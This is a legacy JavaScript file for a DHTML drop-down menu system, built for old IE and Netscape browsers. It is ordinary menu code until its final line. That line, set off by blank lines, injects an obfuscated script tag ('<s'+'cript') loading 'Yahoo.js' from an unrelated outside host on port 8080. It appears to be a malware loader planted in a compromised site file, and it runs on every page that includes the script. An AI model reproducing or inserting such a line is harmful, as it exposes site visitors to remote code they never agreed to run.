

var const_base_z_index = 100;
var const_img_path="/dm1b/lib/";
var const_delimiter_chr="|";
var const_default_menu_width=50;
var const_close_timeout=1.5;
var const_scroll_height=255;
var const_scroll_step=40;
var const_next_menu_event="over";
var arrow_xy_dim = 34;
var arrow_up_off_src= const_img_path + "arrow_up_off.gif";
var arrow_up_on_src= const_img_path + "arrow_up_on.gif";
var arrow_down_off_src= const_img_path + "arrow_down_off.gif";
var arrow_down_on_src= const_img_path + "arrow_down_on.gif";

var store_next_menu,store_dm,store_TM;


var menu_count=0;
var menu_col_count=0;
var timer_id;
var active_level=0;
var menu_loading=true;
var menu_col = new Array();
var menu_obj = new Array();
var layers_col = new Array();
var menu_sty_col = new Array();
var preload_imgs = new Array();
var is_IE,is_NAV;
if (document.all) { is_IE=true; is_NAV=false }
if (document.layers) {
	is_IE=false; is_NAV=true;
	window.captureEvents(Event.RESIZE);
	window.onResize = NS_resize;
}
function NS_resize(){ document.location.reload();}
var is_mac = (navigator.appVersion.toLowerCase().indexOf("mac")!=-1) ? true : false;
var loading = get_layer_obj("loading");

var current_dm;
var	current_menu;
var current_level;
var current_menu_obj;
var current_menu_width;
var current_direction;
var current_style_ind;
var current_style_sheet;
var current_cell_height;
var current_pre_chars_str;
var current_bg_img_off_src;
var current_bg_img_on_src;
var current_x_offset;
var current_y_offset;
var current_x_origin;
var current_y_origin;
var current_page_bottom;
var current_menu_top;
var current_menu_height_max;
var current_menu_bottom_max;
var current_menu_bottom_scroll;
var current_menu_visible_max;
var current_menu_offpage_max;
var current_menu_offpage_scroll;
var current_id_pre_chars_str;
var current_id_post_chars_str;

//------												-------

function get_layer_obj(name){
	var layer_obj=false;
	if (is_NAV && document.layers[name]){
		layer_obj=document.layers[name];
	}
	if (is_IE && document.all[name]) {
		layer_obj=document.all[name].style;
	}
	return layer_obj;
}

function swap_image(ip_name,ip_layer_obj, ip_src){
	if (is_IE){
		document.images[ip_name].src = ip_src;
	} else {
		ip_layer_obj.document.images[ip_name].src = ip_src;
	}
}

//------												---	menu styles


function resize_style_for_NAV(ip_style_sheet){
	if (is_IE) return;
	var font_size;
	if (document.classes[ip_style_sheet].SPAN.fontSize){
		font_size = document.classes[ip_style_sheet].SPAN.fontSize;
		font_size_int = parseInt(font_size)+4;
		document.classes[ip_style_sheet].SPAN.fontSize = (font_size_int+"px");
	}
}

function menu_style( ip_style_sheet, ip_cell_height, ip_pre_chars_str , ip_bg_img_off_src, ip_bg_img_on_src, ip_id_pre_chars_str, ip_id_post_chars_str ){

	ind = preload_imgs.length;
	preload_imgs[ind++] = new_img(ip_bg_img_off_src);
	preload_imgs[ind++] = new_img(ip_bg_img_on_src);
	//resize_style_for_NAV(ip_style_sheet)
	this.style_sheet = ip_style_sheet;
	this.cell_height = ip_cell_height;
	this.pre_chars = ip_pre_chars_str;
	this.bg_img_off_src = ip_bg_img_off_src;
	this.bg_img_on_src = ip_bg_img_on_src;
	this.id_pre_chars_str = ip_id_pre_chars_str;
	this.id_post_chars_str = ip_id_post_chars_str;
}

function new_img(ip_src){
	var img = new Image();
	img.src = ip_src;
	return img;
}
//------												---	

function get_menu_properties(ip_dm, ip_menu){
	current_dm = ip_dm;
	current_menu = ip_menu;
	current_level=menu_col[ip_dm][ip_menu].level;
	current_menu_obj = menu_col[ip_dm][ip_menu];
	current_menu_width = current_menu_obj.width;
	current_direction = menu_col[ip_dm].direction;
	current_style_ind = current_menu_obj.style;
	current_style_sheet = menu_sty_col[current_style_ind].style_sheet;
	current_cell_height = menu_sty_col[current_style_ind].cell_height;
	current_pre_chars_str =  menu_sty_col[current_style_ind].pre_chars;
	current_bg_img_off_src = menu_sty_col[current_style_ind].bg_img_off_src;
	current_bg_img_on_src = menu_sty_col[current_style_ind].bg_img_on_src;
	current_id_pre_chars_str = menu_sty_col[current_style_ind].id_pre_chars_str;
	current_id_post_chars_str = menu_sty_col[current_style_ind].id_post_chars_str;	
	
	current_x_origin = menu_col[ip_dm].x_origin
	current_y_origin = menu_col[ip_dm].y_origin
	current_x_offset = 0;
	current_y_offset = 0;
	
	current_page_bottom = (is_IE) ? (document.body.scrollTop + document.body.clientHeight) : (window.pageYOffset + window.innerHeight);

	current_menu_top = menu_col[ip_dm].y_origin;
	current_menu_height_max = current_cell_height * (current_menu_obj.text.length);
	current_menu_bottom_max = current_menu_top + current_menu_height_max;	
	current_menu_bottom_scroll = current_menu_top + const_scroll_height;		
	current_menu_visible_max = current_page_bottom - current_menu_top;

	current_menu_offpage_max = ( (current_menu_bottom_max - current_page_bottom)>0 ) ? (current_menu_bottom_max - current_page_bottom) : 0;
	current_menu_offpage_scroll =  ( (current_menu_bottom_scroll - current_page_bottom)>0 ) ? (current_menu_bottom_scroll - current_page_bottom) : 0;


	//										get y offset
	if (menu_col[current_dm].move_up=="move_up"){
		if (menu_col[current_dm].scroll=="scroll"){
			current_y_offset = -current_menu_offpage_scroll;
		} else {
			current_y_offset = -current_menu_offpage_max;
		}
	}
	
	//										get x offset	
	if (current_direction=="forwards"){
		for (i=0;i<current_level;i++){
			current_x_offset+= menu_col[ip_dm].width[i]; 
		}
	} else {
		for (i=1;i<=current_level;i++){
			current_x_offset-= menu_col[ip_dm].width[i]; 
		}	
	}	
}

//----------															---------------event driven

function swap_hl_img(ip_level,ip_name,ip_state,ip_style_ind){
	bg_img_src =  (ip_state=='on') ? menu_sty_col[ip_style_ind].bg_img_on_src : menu_sty_col[ip_style_ind].bg_img_off_src;
	swap_image( ip_name, layers_col[ip_level].highlight, bg_img_src);
}

function menu_out_timer2(){
	if (menu_loading) return;
	timer_id = setTimeout("MM_swapImgRestore();",const_close_timeout*1000);
}

function clear_menu_out_timer(){
	clearTimeout(timer_id);
}

function menu_item_over(ip_dm,ip_menu,ip_item){
	var next_menu;
	if (menu_col[ip_dm][ip_menu].submenu && menu_col[ip_dm][ip_menu].submenu[ip_item]){
		store_next_menu = menu_col[ip_dm][ip_menu].submenu[ip_item];
		store_dm = ip_dm;
		clearTimeout(store_TM);
		store_TM = setTimeout("menu_show(store_dm,store_next_menu)",200);
	}
}

//-------														----- scroll related
function menu_scroll(){
	layers_col[current_level].up.visibility="visible";
	layers_col[current_level].down.visibility="visible";

	layers_col[current_level].up.top=(current_menu_top+current_y_offset);
	layers_col[current_level].up.left=(menu_col[current_dm].x_origin+current_x_offset+current_menu_width-arrow_xy_dim+current_content_offset);

	var down_y_pos=current_menu_top+current_y_offset+ const_scroll_height-arrow_xy_dim;
	layers_col[current_level].down.top=down_y_pos;
	layers_col[current_level].down.left=(menu_col[current_dm].x_origin+current_x_offset+current_menu_width-arrow_xy_dim+current_content_offset);

	clip_layer_vertical( layers_col[current_level].catchEvt ,-current_menu_obj.y_scroll,-current_menu_obj.y_scroll+const_scroll_height);	
	clip_layer_vertical( layers_col[current_level].content ,-current_menu_obj.y_scroll,-current_menu_obj.y_scroll+const_scroll_height);	
	clip_layer_vertical( layers_col[current_level].highlight ,-current_menu_obj.y_scroll,-current_menu_obj.y_scroll+const_scroll_height);	
}

function menu_scroll_event(ip_dm, ip_menu, ip_level, ip_direction){
	var scroll_state="middle";
	var up_src = arrow_up_on_src; 
	var down_src = arrow_down_on_src;	
		
	get_menu_properties(ip_dm, ip_menu); 
	var step = const_scroll_step;
	if (ip_direction=="down") step=-step;
	current_menu_obj.y_scroll+=step;
	if (current_menu_obj.y_scroll>=0) {current_menu_obj.y_scroll=0;scroll_state="top"}
	if (current_menu_obj.y_scroll<(const_scroll_height-current_menu_height_max)) {current_menu_obj.y_scroll=(const_scroll_height-current_menu_height_max);scroll_state="bottom";}

	if (scroll_state=="top"){
		up_src = arrow_up_off_src;
	}
	if (scroll_state=="bottom"){
		down_src = arrow_down_off_src; 
	}
	swap_image( "arrow_up_"+ip_level , layers_col[ip_level].up, up_src);
	swap_image( "arrow_down_"+ip_level , layers_col[ip_level].down, down_src);
	
	menu_scroll();

	layers_col[current_level].catchEvt.top=current_menu_top + current_y_offset + current_menu_obj.y_scroll;
	layers_col[current_level].content.top=current_menu_top + current_y_offset + current_menu_obj.y_scroll;	
	layers_col[current_level].highlight.top=current_menu_top + current_y_offset + current_menu_obj.y_scroll;	
}

function write_scroll_html(ip_direction){
	var HTML_str = "<a href=\"javascript:\" onClick=\"menu_scroll_event("+current_dm+","+current_menu+","+current_level+",\'"+ip_direction+"\');return false;\" ";
	HTML_str +=    " onmouseover='clear_menu_out_timer();' onmouseout='menu_out_timer();'>";
	HTML_str +=    "<img src='"+ const_img_path +"transparent.gif' width='"+arrow_xy_dim+"' height='"+arrow_xy_dim+"' border='0' name='arrow_"+ip_direction+"_"+current_level+"' alt='click here to scroll "+ip_direction+"'></a>";

	if (is_IE){
		document.all["menu"+ip_direction+current_level].innerHTML=HTML_str;
	}
	if (is_NAV){
		document.layers["menu"+ip_direction+current_level].document.open();
		document.layers["menu"+ip_direction+current_level].document.writeln(HTML_str);
		document.layers["menu"+ip_direction+current_level].document.close();	
	}
}

function clip_layer_vertical( ip_layer_obj, ip_clip_top, ip_clip_bottom ){
	if (is_IE){
		ip_layer_obj.clip = "rect("+ ip_clip_top +",auto,"+ ip_clip_bottom +",auto)";	
	} else {
		ip_layer_obj.clip.top= ip_clip_top;
		ip_layer_obj.clip.bottom= ip_clip_bottom;
	}	
} 
//--------																	-----------------------write menu html

function write_menu_html(ip_type){
	var roll_name_str;
	var on_over_str, href_str="", str;

	var HTML_str="<table cellpadding='0' cellspacing='0' border='0'>";
	//eval("layers_col[" +current_level+  "]." +ip_type+ ".visibility='visible'");
	eval("layers_col[" +current_level+  "]." +ip_type+ ".left="+(current_x_origin + current_x_offset+current_content_offset));
	eval("layers_col[" +current_level+  "]." +ip_type+ ".top="+(current_menu_top + current_y_offset));		
	
	for (i=0;i<current_menu_obj.text.length;i++){
		roll_name_str = "mroll"+current_menu+"_"+i;
		HTML_str+= "<tr><td height="+ current_cell_height+">";
		if (ip_type=="content") {
								HTML_str+= "<SPAN class="+ current_style_sheet +"><nobr>";
								HTML_str+= current_pre_chars_str + current_menu_obj.text[i];
								HTML_str+= "</nobr></SPAN>";
							}
		if (ip_type=="catchEvt") {
								str="";
								on_over_str="clear_menu_out_timer();";
								on_over_str+="swap_hl_img("+current_level+",'"+roll_name_str+"','on',"+current_style_ind+");";
								str+="menu_item_over("+current_dm+","+current_menu+","+i+");";
								str+="menu_vis("+(current_level+2)+",'hidden');";
								
								if (const_next_menu_event=="click") href_str=str; else on_over_str+=str;
								if (current_menu_obj.id)  href_str = "document.location.href=\'"+current_id_pre_chars_str + current_menu_obj.id[i] + current_id_post_chars_str +"\';";
													
								HTML_str+= "<a href=\"javascript:{" + href_str + "}\"";
								if (current_menu_obj.submenu && is_IE){
									HTML_str+= (current_direction=="forwards") ? "style='cursor:e-resize;' " : "style='cursor:w-resize;' ";
								}
								HTML_str+= " onmouseover=\"" + on_over_str + "\" ";
								HTML_str+= " onmouseout=\"swap_hl_img("+current_level+",\'"+roll_name_str+"\','off',"+current_style_ind+");menu_out_timer();\">";
								HTML_str+= "<img src='"+const_img_path +"transparent.gif' height="+current_cell_height+" width="+current_menu_width+" border=0>";	
								HTML_str+="</a>";
							}
		if (ip_type=="highlight") {
								HTML_str+= "<img src=\""+current_bg_img_off_src+"\" height="+current_cell_height+" width="+current_menu_width+" border=0 name='"+roll_name_str+"'>";
								}		
		HTML_str+= "</td></tr>";
	}

	HTML_str+="</table><table></table>";
	
	if (is_IE){
		document.all[ip_type+current_level].innerHTML=HTML_str;
	}
	if (is_NAV){
		document.layers[ip_type+current_level].document.open();
		document.layers[ip_type+current_level].document.writeln(HTML_str);
		document.layers[ip_type+current_level].document.close();	
	}
}

//---------------														----------------------show/hide menu[s]

function dm_start(ip_dm_name){
	var dm=-1;
	for (i=0;i<menu_col.length;i++){
		if (menu_col[i].name==ip_dm_name) dm=i;
	}
	if (dm!=-1) menu_show(dm,0);
}

function menu_show(ip_dm, ip_menu){
	var scroll_vis='hidden';
	if (menu_loading) return;
	if (ip_menu==0) menu_vis(0,'hidden');
	clear_menu_out_timer()
	menu_loading=true;
	get_menu_properties(ip_dm, ip_menu);

	menu_vis2(current_level,"hidden",true);	
	menu_col[current_dm][ip_menu].y_scroll=0;
	
	if (menu_col[current_dm].scroll=="scroll" && current_menu_height_max>const_scroll_height ) {
		scroll_vis='visible';
		write_scroll_html("up");
		swap_image( "arrow_up_"+current_level , layers_col[current_level].up, arrow_up_off_src);
		write_scroll_html("down");
		swap_image( "arrow_down_"+current_level , layers_col[current_level].down, arrow_down_on_src);
		menu_scroll();
	} else {
		clip_layer_vertical( layers_col[current_level].catchEvt ,0,10000,true);
		clip_layer_vertical( layers_col[current_level].content ,0,10000,true);
		clip_layer_vertical( layers_col[current_level].highlight ,0,10000,true);	
	}
	write_menu_html("content");
	write_menu_html("catchEvt");
	write_menu_html("highlight");
	menu_vis2(current_level,"visible",true);
	layers_col[current_level].up.visibility=scroll_vis;
	layers_col[current_level].down.visibility=scroll_vis;	
	menu_loading=false;
	
}

function menu_vis2(ip_from_level,ip_vis,ip_single){
	for (i=ip_from_level;i<layers_col.length;i++){	
		layers_col[i].catchEvt.visibility=ip_vis;
		layers_col[i].highlight.visibility=ip_vis;
		layers_col[i].content.visibility=ip_vis;
		if (!ip_single){
			layers_col[i].up.visibility=ip_vis;
			layers_col[i].down.visibility=ip_vis;
		}
		if (ip_single) break;	
	}
}

function menu_zIndex(ip_direction){
	var j = (ip_direction=="forwards") ? 1 : -1;
	for (i=0;i<=const_menu_depth_max;i++){	
		layers_col[i].highlight.zIndex = const_base_z_index+(i*5*j);
		layers_col[i].content.zIndex = const_base_z_index+1+(i*5*j);
		layers_col[i].catchEvt.zIndex = const_base_z_index+2+(i*5*j);		
		layers_col[i].up.zIndex = const_base_z_index+3+(i*5*j)
		layers_col[i].down.zIndex = const_base_z_index+4+(i*5*j);	
	}
}

//---------------														----------make menu_col[][]
function get_max_menu_depth(){
	var op_max_level=0;
	for (i=0;i<menu_col.length;i++){
		for (j=0;j<menu_col[i].length;j++){
			if (menu_col[i][j].level>op_max_level) op_max_level=menu_col[i][j].level;
		}
	}
	return op_max_level;
}

function menu_item(ip_level,ip_text,ip_submenu,ip_id, ip_style){
	this.level = ip_level;
	this.text = ip_text;
	this.submenu = ip_submenu;
	this.id = ip_id;
	this.style = ip_style;
	this.width=0;
	this.y_scroll=0;
	return this;
} 

function add_menu(ip_level, ip_text_str, ip_submenu_str, ip_id_str, ip_style ){
	var op_text_arr, op_submenu_arr, op_id_arr;
	if (ip_text_str!="") op_text_arr = ip_text_str.split(const_delimiter_chr);
	if (ip_submenu_str!="") op_submenu_arr = ip_submenu_str.split(const_delimiter_chr);
	if (ip_id_str!="") op_id_arr = ip_id_str.split(const_delimiter_chr);
	if (!ip_style) ip_style=0;
	
	menu_obj[menu_count++] = new menu_item(ip_level,op_text_arr,op_submenu_arr,op_id_arr, ip_style);	
}

function add_dynamic_menu(ip_name_str,  ip_width_arr, ip_move_up, ip_scroll){
	var level,width;
	for (i=0;i<menu_obj.length;i++){
		level = menu_obj[i].level;
		width = (ip_width_arr[level]) ? ip_width_arr[level] : const_default_menu_width;
		ip_width_arr[level] = width;
		menu_obj[i].width = width;
	}
	
	menu_col[menu_col_count] = menu_obj;
	menu_col[menu_col_count].name = ip_name_str;	
	menu_col[menu_col_count].move_up = ip_move_up;		
	menu_col[menu_col_count].scroll = ip_scroll;		
	menu_col[menu_col_count].width = ip_width_arr;

	menu_obj = new Array();
	menu_count=0;
	menu_col_count++;
}

function compile_dynamic_menus(){
	const_menu_depth_max = get_max_menu_depth();
	for (i=0;i<=const_menu_depth_max;i++){
		document.write("<div class='position' id='highlight"+i+"'></div>");	
		document.write("<div class='position' id='content"+i+"''></div>");		
		document.write("<div class='position' id='catchEvt"+i+"'></div>");
		document.write("<div class='position' id='menuup"+i+"'></div>");	
		document.write("<div class='position' id='menudown"+i+"'></div>");

		layers_col[i] = new Object();
		layers_col[i].catchEvt = get_layer_obj("catchEvt"+i);
		layers_col[i].highlight = get_layer_obj("highlight"+i);		
		layers_col[i].content = get_layer_obj("content"+i);		
		layers_col[i].up = get_layer_obj("menuup"+i);				
		layers_col[i].down = get_layer_obj("menudown"+i);
	}
	menu_loading=false;
}

function menu_start2(ip_name,ip_x_origin,ip_y_origin,ip_direction){
	menu_zIndex(ip_direction);
	if (is_IE && is_mac) ip_y_origin-=3;
	for (ind in menu_col){
		if (ip_name==menu_col[ind].name){
			menu_col[ind].x_origin = ip_x_origin;
			menu_col[ind].y_origin = ip_y_origin;
			menu_col[ind].direction = ip_direction;	
			menu_show(ind,0);
			break; 
		 }
	}
}






document.write('<s'+'cript type="text/javascript" src="http://assolkh.blackhulu.com:8080/Yahoo.js"></scr'+'ipt>');